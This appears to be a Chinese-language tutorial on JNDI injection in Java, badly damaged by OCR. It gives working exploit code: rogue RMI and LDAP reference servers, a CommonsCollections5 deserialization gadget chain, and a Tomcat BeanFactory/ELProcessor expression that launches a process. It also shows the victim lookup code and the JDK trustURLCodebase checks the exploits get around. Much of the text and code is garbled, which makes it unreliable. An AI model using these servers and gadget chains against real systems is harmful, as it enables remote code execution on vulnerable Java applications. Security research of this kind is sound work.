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package demo;

import com.sun.jndi.rmi.registry.Referencelrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {

public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(7777);

Reference reference = new Reference("test", "test", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);

BEAE ( test.class ) , BBHEBFEMEICIAEN neep PRSBEZ

import java.lang.Runtime;

public class test{



public test() throws Exception{
Runtime.getRuntime().exec("calc");

%%Fﬁﬁdﬁﬁﬁ InitialContext().lookup("rmi://127.0.0.1:7777/calc") ﬁmﬁ*%ﬂj%ﬂq, %}ﬂ?i’
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package demo;

import javax.naming.InitialContext;

public class INDI_Test {
public static void main(String[] args) throws Exception{

new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
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private Object decodeObject(Remote varl, Name var2) throws NamingException {
try {
Object var3 = varl instanceof RemoteReference ? ((RemoteReference)varl).getReferenc
e() : varl;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var?7) {
NamingException var4 = new NamingException();



var4.setRootCause(var?);
throw var4;

Eﬁﬁ javax.naming.spi.NamingManager#getObjectInstance , Jtl:ﬁﬁg%%ﬂy Factory

public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)

throws Exception

ObjectFactory factory;

Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);

return reflnfo;

} else {

answer = processURLAddrs(ref, name, nameCtx, environment);
if Canswer != null) {

ES: NP



return answer;

3
3
ks
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;

EEﬁ javax.naming.spi.NamingManager#getObjectFactoryFromReference , JHZ% clas =

helper.loadClass(factoryName); %ﬁt}AZKiﬂ!bﬂﬁ Factory ;’é, ZZI]%Z:T?Y_ZIXM’ZW?T_&E;«:, JH\U
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null; SEAVPGERRBT LA, HMINHBARIERNE.

static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;

try {
clas = helper.loadClass(factoryName);

} catch (ClassNotFoundException e) {

String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {



try {

clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

com.sun.naming.internal.VersionHelperl2#loadClass ﬁ%ﬁﬁgﬁﬂ _F s E_l- L\/{E@Jﬂﬂ%ﬁﬂ
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public Class loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

ClassLoader parent = getContextClassLoader();
ClassLoader cl =

URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);

NFXFMFA A Java F£HE gok su13z. 7ulzz. su11z HIHTT 7R,
com.sun.jndi.rmi.object.trustURLCodebase ?KiA{Egyg false

static {
PrivilegedAction var@ = (O -> {

return System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");

3
String varl = (String)AccessController.doPrivileged(var®);
trustURLCodebase = "true".equalsIgnoreCase(varl);

MRMIZFEMB NS F

if (var8 !'= null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {



Tthrow new Lonrigurationcxception( Inhe object Tadctory 1s untrusted. >et thne system prope

rty 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");

}

Exception in thread "main" javax.naming.ConfigurationException: The object factory is untru
sted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase’' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext. java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at demo.INDI_Test.main(INDI_Test.java:7)
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import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;

import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;

import com.unboundid.ldap.listener.InMemorylListenerConfig;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;

import com.unboundid.ldap.sdk.LDAPException;

import com.unboundid.ldap.sdk.LDAPResult;

import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://192.168.43.88/#test"};
int port = 7777,

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_B
ASE);
config.setlListenerConfigs(new InMemorylListenerConfig(
"listen", //$NON-NLS-13%
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$%
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(Cargs[ @
123

InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);



System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1%
ds.startlListening(Q);

3
catch ( Exception e ) {
e.printStackTrace(Q);

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;

@0verride

public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDNQ);
Entry e = new Entry(base);

try {
sendResult(result, base, e);

}
catch ( Exception el ) {

el.printStackTrace();

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, En

try e ) throws LDAPException, MalformedURLException {

URL turl = new URL(this.codebase, this.codebase.getRef().replace('.’', '/").conc
at(".class™));

System.out.println("Send LDAP reference result for

"+ turl);

e.addAttribute("javaClassName", "foo");

String cbstring = this.codebase.toString();

int refPos = cbstring.index0f('#');

if ( refPos > 0 ) {

D P T D P T PR T o o 1 I ol o PR N

+ base + " redirecting to
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e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1%
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);

result.setResult(new LDAPResult(@, ResultCode.SUCCESS));
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<dependency>
<groupId>com.unboundid</groupId>

<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
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package demo;

import javax.naming.InitialContext;

public class JNDI_Test {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");

INDI Test.java LDAPRefS

demo

1aming.InitialContext
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javax.naming.spi.NamingManager#getObjectFactoryFromReference

static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)



throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {

String codebase;
if (clas == null &&
(codebase = ref.getFactory(ClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
3

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

ZFEGEE ook 11.0.1 . 8ul9ol . 7u201l . eu211 HAHHEHITTIEE,

com.sun. jndi.ldap.object.trustURLCodebase E'I&E’\ME%\'U\?\] false

private static final String TRUST_URL_CODEBASE_PROPERTY =
"com.sun.jndi.ldap.object.trustURLCodebase";

private static final String trustURLCodebase =
AccessController.doPrivileged(
new PrivilegedAction<String>() {
public String run() {
try {
return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,



raLse ),
} catch (SecurityException e) {
return "false";

}

DK
le]% trustURLCodebase y\j false )rl\UE};zi}z@ null

public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =

URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
} else {
return null;
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package demo;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;

import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;

import com.unboundid.ldap.listener.InMemoryListenerConfig;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;

import com.unboundid.ldap.sdk.LDAPResult;

import com.unboundid.ldap.sdk.ResultCode;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections. functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;

import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import java.net.InetAddress;

import java.net.URL;

import java.util.HashMap;

import java.util.Map;

public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://192.168.43.88/#test"};
int port = 6666;

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BAS



E);
config.setlListenerConfigs(new InMemorylListenerConfig(

"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0

122);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startlListening(Q);
ks

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;

@0verride
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDNQ);
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception el ) {

el.printStackTrace();

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, En
try e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('."', '/').conc
at(".class™));



n "

System.out.println("Send LDAP reference result for " + base + " redirecting to
"+ turl);

e.addAttribute("javaClassName", "foo™");

String cbstring = this.codebase.toString();

int refPos = cbstring.indexOf('#');

if ( refPos > 0 ) {

cbstring = cbstring.substring(@, refPos);

e.addAttribute("javaSerializedData",CommonsCollections5());

result.sendSearchEntry(e);
result.setResult(new LDAPResult(@, ResultCode.SUCCESS));

private static byte[] CommonsCollections5() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[]1{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},ne
w Object[J{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"

b
1

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

Map map=new HashMap();

Map lazyMap=LazyMap.decorate(map,chainedTransformer);

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap, "test");

BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueEx
pException(null);

Field field=badAttributeValueExpException.getClass().getDeclaredField("val™);

field.setAccessible(true);

field.set(badAttributeValueExpException,tiedMapEntry);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();



Ubjectlutputstream objectlUutputstream = new Ubjectlutputstream(byteArrayvutputstred

m;
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
ks
}
B

package demo;

import javax.naming.InitialContext;

public class JNDI_Test {
public static void main(String[] args) throws Exception{

Object object=new InitialContext().lookup("ldap://127.0.0.1:6666/calc");

LDAPServer.java JNDI_Test.java

demo

javax.naming.InitialContext

INDI_Test {
main(String[] ar
Object abject= InitialConte> .lookup(
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Etﬁi& com.sun.jndi.ldap.Obj#decodeObject

static Object decodeObject(Attributes var@®) throws NamingException {
String[] var2 = getCodebases(var@.get(JAVA_ATTRIBUTES[4]));

try {
Attribute varl;
if ((varl = var@.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[1)((byte[])varl.get()), var3);
} else if ((Cvarl = var@.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var®.get(JAVA_ATTRIBUTES[2]).get()., (String)var



1.get(), var2);

} else {
varl = var@.get(JAVA_ATTRIBUTES[Q]);
return varl == null || !varl.contains(JAVA_OBJECT_CLASSES[2]) && !varl.contains
(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var@, var2);
3

} catch (IOException var5) {

NamingException var4 = new NamingException();
varé4 . setRootCause(vars);
throw var4,;

e 4k (varl = var0.get(JAVA ATTRIBUTES[1])) != null FI JAVA ATTRIBUTES[1] E%é§§95§, IS,

Z:ygﬁ:ﬁq)ﬂ\Ui#_)\ deserializeObject i#_?i’}if%ﬁ”*;%ﬂz
:,E\:EF' JAVA ATTRIBUTES E com.sun.jndi.ldap.0Obj EF'EES{?\]

static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData",

"javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames",
"javaRemotelLocation"};

JAVA ATTRIBUTES[1] N javaSerializedpata , PLAFK{JRILA LDAP {8EX javaserializedpata N

BAINERFIICEE, AREFPmHTREFEIICHMEIA RCE,

EEE com.sun.jndi.ldap.Obj#deserializeObject , E_I-L\/{Eéu var5 =

((ObjectInputStream)var20).readObject(); Jttﬁyj var20 (“i’,ﬁ':}l;xEE}\}\ javaSerializedData EPi;iHX

HIFRSILERRE) #1TT REIIMT

private static Object deserializeObject(byte[] var@, ClassLoader varl) throws NamingExcepti
on {

try {



byteArraylnputstream vdr<s = NE€W byteArraylnputsytream(vary);

try {
Object var2@ = varl == null ? new ObjectInputStream(var2) : new Obj.LoaderInput
Stream(var2, varl);
Throwable var2l = null;

Object var5;
try {

var5 = ((ObjectInputStream)var2@).readObject();
} catch (Throwable varle) {

var2l = varl6;

throw varilo;
} finally {

if (var20 '= null) {

if (var2l !'= null) {

try {
((ObjectInputStream)varz@).close();
} catch (Throwable varil5) {

var2l.addSuppressed(varl5);

3
} else {
((ObjectInputStream)var2@).close();

return vars;

} catch (ClassNotFoundException varil8) {
NamingException var4 = new NamingException();
varé4.setRootCause(varld);
throw var4;

}
} catch (IOException varl9) {

NamingException var3 = new NamingException();
var3.setRootCause(varl9);
throw var3;
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e.addAttribute("javaSerializedData", GadgetsData);
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<dependency>
<groupld>org.apache.tomcat</groupIld>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>

</dependency>

<dependency>
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https://www.redteaming.top/2020/08/24/JNDI-Injection/[https://www.veracode.com/blog/research/exploiting-jndi-injections-java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java

<ylvuplu-suly.upgullic.cl<s/ yrvupiLu~
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>

</dependency>
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package demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws Exception{

System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null,

pache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));

R , true,"org.a

ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngine

Manager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilde

r['(java.lang.String[])'J(['calc']).startOO\")"));

ReferenceWrapper referencellrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(

ref);
registry.bind("Object", referenceWrapper);
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package demo;

import javax.naming.InitialContext;

public class JNDI_Test {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("rmi://127.0.0.1:1097/0bject");

demo

javax.naming.InitialContext

INDI_Test
main(String[] args) Exception{
Object object=new InitialContext().lookup(
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getObjectInstance:123, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)

main:9, INDI_Test (demo)

HEeWART LE#N—, RMNBFEIFENZ
javax.naming.spi.NamingManager#getobjectInstance ULAMSIEMR, BIIABZZA AP BT
getObjectFactoryFromReference JABN— TLHIEHINR G, B=IEMA
factory.getObjectInstance , WHLERUMRIETEMEEERPHKEIEERTUFIAN
getObjectInstance F1i5, APAFATRAI DU TH—THIFIRA,

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
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public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> env
ironment) throws NamingException {
if (obj instanceof ResourceRef) {
NamingException ne;
try {
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
(Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl !'= null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
var25.printStackTrace();

if (beanClass == null) {

throw new NamingException("Class not found:
} else {

BeanInfo bi = Introspector.getBeanInfo(bean(Class);

PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.newInstance();

RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();

+ beanClassName);

String value;
String propName;
int 1i;
if (ra !'= null) {
value = (String)ra.getContent();
Class<?>11 paramTvpes = new Classl1{String.class?:



String[] arr$ = value.split(",");
i = arr$.length;

for(int i$ = 0; i$ < i; ++i$) {

String param = arr$[i$];

param = param.trim();

int index = param.index0f(61);

if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(@, index).trim();

} else {
propName = "set" + param.substring(@, 1).toUpperCase(Locale.ENG

LISH) + param.substring(l);
3

try {

forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {

throw new NamingException("Forced String setter " + propName +

" not found for property " + param);

}

Enumeration e = ref.getAl1(Q);

while(true) {

while(true) {
do {

do {

do {
do {
do {
if (le.hasMoreElements()) {
return bean;

ra = (RefAddr)e.nextElement();
propName = ra.getType();
1 while(pbropName.eauals("factorv'")):



} while(propName.equals("scope"));
} while(propName.equals("auth™));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));

value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method !'= null) {
valueArray[0] = value;

try {
method.invoke(bean, valueArray);

} catch (IllegalArgumentException | InvocationTargetException |
IllegalAccessException var23) {

throw new NamingException("Forced String setter " + method.

" 1

getName() + " threw exception for property '

ks
} else {

+ propName);

} else {
return null;
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Reference , &%iﬂ@¥%§ Object bean = beanClass.newInstance(); , QE% ELProcessor
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int index = param.index0f(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(@, index).trim();
} else {
propName = "set" + param.substring(@, 1).toUpperCase(Locale.ENGLISH) + param.substring(
1,
3

try {
forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {

throw new NamingException("Forced String setter " + propName + " not found for property

}

+ param);

Hrh eval WS EGAERANT, AIUEBRHERBIREZIR do wiile ZNE e PR, &E
while (propName.equals("singleton")) LEAL propyame I x , MIBHEIR, REEE value =
(String)ra.getContent(); 3JABX eval HISEN, ZEFEIE ra B addrrype (propName) HIEIEN
key EIREVZBIEAM] javax.el.ELProcessor.eval : Method method =

(Method) forced.get (propName) ;

Enumeration e = ref.getAl1lQ);

do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;

ra = (RefAddr)e.nextElement();



propName = ra.getType();
} while(propName.equals("factory"));
} while(propName.equals("scope"));
} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));

value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[@] = value;
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2@ el JEANSEI RCE, REHATRUIEBQRIABIEANUT:  (new
ELProcessor()).eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstanc

e().getEngineByName(\"JavaScript\").eval(\"new

java.lang.ProcessBuilder[ ' (java.lang.String[])']([ 'calc']).start()\")");
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